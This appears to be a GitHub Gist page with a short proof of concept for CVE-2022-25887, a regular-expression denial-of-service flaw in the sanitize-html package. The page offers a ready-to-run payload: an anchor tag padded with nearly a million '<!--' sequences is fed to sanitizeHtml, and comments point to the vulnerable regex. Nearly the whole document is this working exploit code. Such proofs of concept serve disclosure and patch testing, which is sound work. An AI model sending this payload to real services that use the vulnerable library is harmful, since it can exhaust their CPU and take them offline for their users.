Created
January 19, 2023 07:13
-
-
Save this-post/582415dad172767ed04bf4381e2f8239 to your computer and use it in GitHub Desktop.
CVE-2022-25887 Proof of Concept
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const sanitizeHtml = require('sanitize-html'); // tested on sanitize-html 2.6.0 | |
var payload = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>"; | |
sanitizeHtml(payload) | |
// console.log(sanitizeHtml(payload)); | |
// href = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>"; | |
// href = href.replace(/<!--.*?-->/g, ''); // this is a vulnerable line on naughtyHref(name, href) of index.js | |
// console.log(href); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment